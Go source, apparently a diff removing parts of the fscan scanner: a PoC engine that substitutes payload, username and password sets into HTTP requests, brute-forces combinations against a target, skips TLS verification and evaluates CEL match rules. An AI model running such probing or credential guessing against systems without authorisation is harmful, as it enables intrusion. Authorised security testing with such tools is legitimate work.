variableMap[k] = fmt.Sprintf("%s", out)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
if p.Set["payload"] != "" {
out, err := Evaluate(env, p.Set["payload"], variableMap)
if err != nil {
//fmt.Println(p.Name," poc_payload error",err)
return false, err
}
variableMap["payload"] = fmt.Sprintf("%v", out)
}
setslen := 0
haspayload := false
var setskeys []string
if len(p.Sets) > 0 {
for _, rule := range p.Rules {
for k := range p.Sets {
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
if strings.Contains(k, "payload") {
haspayload = true
}
setslen++
setskeys = append(setskeys, k)
continue
}
for k2 := range rule.Headers {
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
if strings.Contains(k, "payload") {
haspayload = true
}
setslen++
setskeys = append(setskeys, k)
continue
}
}
}
}
}
success := false
if setslen > 0 {
if haspayload {
success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys)
} else {
success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys)
}
} else {
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
//return false, nil
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败
break
}
success = true
}
}
return success, nil
}
func doSearch(re string, body string) map[string]string {
r, err := regexp.Compile(re)
if err != nil {
return nil
}
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
paramsMap[name] = result[i]
}
}
return paramsMap
}
return nil
}
func newReverse() *Reverse {
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
sub := RandomStr(randSource, letters, 8)
if true {
//默认不开启dns解析
return &Reverse{}
}
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
u, _ := url.Parse(urlStr)
return &Reverse{
Url: ParseUrl(u),
Domain: u.Hostname(),
Ip: "",
IsDomainNameServer: false,
}
}
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) {
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
if IsContain(keys, k1) {
continue
}
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
n := 0
for k := range p.Sets {
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
n++
continue
}
for k2 := range rule.Headers {
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
n++
continue
}
}
}
if n == 0 {
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == false {
break
}
}
if slen == 1 {
look1:
for _, var1 := range p.Sets[keys[0]] {
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look1
}
}
if success == false {
break
}
}
if slen == 2 {
look2:
for _, var1 := range p.Sets[keys[0]] {
for _, var2 := range p.Sets[keys[1]] {
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look2
}
}
}
if success == false {
break
}
}
if slen == 3 {
look3:
for _, var1 := range p.Sets[keys[0]] {
for _, var2 := range p.Sets[keys[1]] {
for _, var3 := range p.Sets[keys[2]] {
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look3
}
}
}
}
if success == false {
break
}
}
}
return success, nil
}
func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) {
setMap := make(map[string]interface{})
for k := range p.Sets {
setMap[k] = p.Sets[k][0]
}
setMapbak := cloneMap1(setMap)
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
if IsContain(keys, k1) {
continue
}
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
varset := []string{}
varpay := []string{}
n := 0
for k := range p.Sets {
// 1. 如果rule中需要修改 {{k}} 如username、payload
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
if strings.Contains(k, "payload") {
varpay = append(varpay, k)
} else {
varset = append(varset, k)
}
n++
continue
}
for k2 := range rule.Headers {
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
if strings.Contains(k, "payload") {
varpay = append(varpay, k)
} else {
varset = append(varset, k)
}
n++
continue
}
}
}
for _, key := range varpay {
v := fmt.Sprintf("%s", setMap[key])
for k := range p.Sets {
if strings.Contains(v, k) {
if !IsContain(varset, k) && !IsContain(varpay, k) {
varset = append(varset, k)
}
}
}
}
if n == 0 {
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == false {
break
}
}
if len(varset) == 1 {
look1:
// (var1 tomcat ,keys[0] username)
for _, var1 := range p.Sets[varset[0]] {
setMap := cloneMap1(setMapbak)
setMap[varset[0]] = var1
evalset(env, setMap)
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
for _, key := range varpay {
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
for _, key := range varpay {
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1))
break look1
}
}
if success == false {
break
}
}
if len(varset) == 2 {
look2:
// (var1 tomcat ,keys[0] username)
for _, var1 := range p.Sets[varset[0]] { //username
for _, var2 := range p.Sets[varset[1]] { //password
setMap := cloneMap1(setMapbak)
setMap[varset[0]] = var1
setMap[varset[1]] = var2
evalset(env, setMap)
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2)
for _, key := range varpay {
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2)
for _, key := range varpay {
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
success, err = clustersend(oReq, variableMap, req, env, rule1)
if err != nil {
return false, err
}
if success == true {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2))
break look2
}
}
}
if success == false {
break
}
}
if len(varset) == 3 {
look3:
for _, var1 := range p.Sets[keys[0]] {
for _, var2 := range p.Sets[keys[1]] {
for _, var3 := range p.Sets[keys[2]] {
setMap := cloneMap1(setMapbak)
setMap[varset[0]] = var1
setMap[varset[1]] = var2
evalset(env, setMap)
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
for _, key := range varpay {
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
for _, key := range varpay {
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look3
}
}
}
}
if success == false {
break
}
}
}
return success, nil
}
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
//return false, nil
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
}
return true, err
}
func cloneRules(tags Rules) Rules {
cloneTags := Rules{}
cloneTags.Method = tags.Method
cloneTags.Path = tags.Path
cloneTags.Body = tags.Body
cloneTags.Search = tags.Search
cloneTags.FollowRedirects = tags.FollowRedirects
cloneTags.Expression = tags.Expression
cloneTags.Headers = cloneMap(tags.Headers)
return cloneTags
}
func cloneMap(tags map[string]string) map[string]string {
cloneTags := make(map[string]string)
for k, v := range tags {
cloneTags[k] = v
}
return cloneTags
}
func cloneMap1(tags map[string]interface{}) map[string]interface{} {
cloneTags := make(map[string]interface{})
for k, v := range tags {
cloneTags[k] = v
}
return cloneTags
}
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
func evalset(env *cel.Env, variableMap map[string]interface{}) {
for k := range variableMap {
expression := fmt.Sprintf("%v", variableMap[k])
if !strings.Contains(k, "payload") {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
variableMap[k] = expression
continue
}
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = fmt.Sprintf("%v", value)
case []uint8:
variableMap[k] = fmt.Sprintf("%v", out)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
for k := range variableMap {
expression := fmt.Sprintf("%v", variableMap[k])
if strings.Contains(k, "payload") {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
}
func CheckInfoPoc(infostr string) string {
for _, poc := range info.PocDatas {
if strings.Compare(poc.Name,infostr) == 0 {
return poc.Alias
}
}
return ""
}
-68
View File
@@ -1,68 +0,0 @@
package lib
import (
"crypto/tls"
"github.com/shadow1ng/fscan/common"
"log"
"net"
"net/http"
"net/url"
"strings"
"time"
)
var (
Client *http.Client
ClientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 15 * time.Second
)
func Inithttp(PocInfo common.PocInfo) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
log.Fatal(err)
}
}
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 0,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
return nil
}
-603
View File
@@ -1,603 +0,0 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/md5"
"encoding/base64"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"io"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"regexp"
"strconv"
"strings"
"time"
)
func NewEnv(c *CustomLib) (*cel.Env, error) {
return cel.NewEnv(cel.Lib(c))
}
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
ast, iss := env.Compile(expression)
if iss.Err() != nil {
//fmt.Printf("compile: ", iss.Err())
return nil, iss.Err()
}
prg, err := env.Program(ast)
if err != nil {
//fmt.Printf("Program creation error: %v", err)
return nil, err
}
out, _, err := prg.Eval(params)
if err != nil {
//fmt.Printf("Evaluation error: %v", err)
return nil, err
}
return out, nil
}
func UrlTypeToString(u *UrlType) string {
var buf strings.Builder
if u.Scheme != "" {
buf.WriteString(u.Scheme)
buf.WriteByte(':')
}
if u.Scheme != "" || u.Host != "" {
if u.Host != "" || u.Path != "" {
buf.WriteString("//")
}
if h := u.Host; h != "" {
buf.WriteString(u.Host)
}
}
path := u.Path
if path != "" && path[0] != '/' && u.Host != "" {
buf.WriteByte('/')
}
if buf.Len() == 0 {
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
buf.WriteString("./")
}
}
buf.WriteString(path)
if u.Query != "" {
buf.WriteByte('?')
buf.WriteString(u.Query)
}
if u.Fragment != "" {
buf.WriteByte('#')
buf.WriteString(u.Fragment)
}
return buf.String()
}
type CustomLib struct {
envOptions []cel.EnvOption
programOptions []cel.ProgramOption
}
func NewEnvOption() CustomLib {
c := CustomLib{}
c.envOptions = []cel.EnvOption{
cel.Container("lib"),
cel.Types(
&UrlType{},
&Request{},
&Response{},
&Reverse{},
),
cel.Declarations(
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
),
cel.Declarations(
// functions
decls.NewFunction("bcontains",
decls.NewInstanceOverload("bytes_bcontains_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("bmatches",
decls.NewInstanceOverload("string_bmatches_bytes",
[]*exprpb.Type{decls.String, decls.Bytes},
decls.Bool)),
decls.NewFunction("md5",
decls.NewOverload("md5_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("randomInt",
decls.NewOverload("randomInt_int_int",
[]*exprpb.Type{decls.Int, decls.Int},
decls.Int)),
decls.NewFunction("randomLowercase",
decls.NewOverload("randomLowercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("randomUppercase",
decls.NewOverload("randomUppercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("substr",
decls.NewOverload("substr_string_int_int",
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
decls.String)),
decls.NewFunction("wait",
decls.NewInstanceOverload("reverse_wait_int",
[]*exprpb.Type{decls.Any, decls.Int},
decls.Bool)),
decls.NewFunction("icontains",
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
),
}
c.programOptions = []cel.ProgramOption{
cel.Functions(
&functions.Overload{
Operator: "bytes_bcontains_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
return types.Bool(bytes.Contains(v1, v2))
},
},
&functions.Overload{
Operator: "string_bmatches_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
}
ok, err := regexp.Match(string(v1), v2)
if err != nil {
return types.NewErr("%v", err)
}
return types.Bool(ok)
},
},
&functions.Overload{
Operator: "md5_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
}
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
},
},
&functions.Overload{
Operator: "randomInt_int_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
from, ok := lhs.(types.Int)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
}
to, ok := rhs.(types.Int)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
}
min, max := int(from), int(to)
return types.Int(rand.Intn(max-min) + min)
},
},
&functions.Overload{
Operator: "randomLowercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
}
return types.String(randomLowercase(int(n)))
},
},
&functions.Overload{
Operator: "randomUppercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
}
return types.String(randomUppercase(int(n)))
},
},
&functions.Overload{
Operator: "base64_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
},
},
&functions.Overload{
Operator: "base64_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString(v))
},
},
&functions.Overload{
Operator: "base64Decode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "base64Decode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "urlencode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urlencode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urldecode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "urldecode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "substr_string_int_int",
Function: func(values ...ref.Val) ref.Val {
if len(values) == 3 {
str, ok := values[0].(types.String)
if !ok {
return types.NewErr("invalid string to 'substr'")
}
start, ok := values[1].(types.Int)
if !ok {
return types.NewErr("invalid start to 'substr'")
}
length, ok := values[2].(types.Int)
if !ok {
return types.NewErr("invalid length to 'substr'")
}
runes := []rune(str)
if start < 0 || length < 0 || int(start+length) > len(runes) {
return types.NewErr("invalid start or length to 'substr'")
}
return types.String(runes[start : start+length])
} else {
return types.NewErr("too many arguments to 'substr'")
}
},
},
&functions.Overload{
Operator: "reverse_wait_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
reverse, ok := lhs.Value().(*Reverse)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
}
timeout, ok := rhs.Value().(int64)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
}
return types.Bool(reverseCheck(reverse, timeout))
},
},
&functions.Overload{
Operator: "icontains_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
),
}
return c
}
// 声明环境中的变量类型和函数
func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions
}
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
for k, v := range args {
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
var d *exprpb.Decl
if strings.HasPrefix(v, "randomInt") {
d = decls.NewIdent(k, decls.Int, nil)
} else if strings.HasPrefix(v, "newReverse") {
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
} else {
d = decls.NewIdent(k, decls.String, nil)
}
c.envOptions = append(c.envOptions, cel.Declarations(d))
}
}
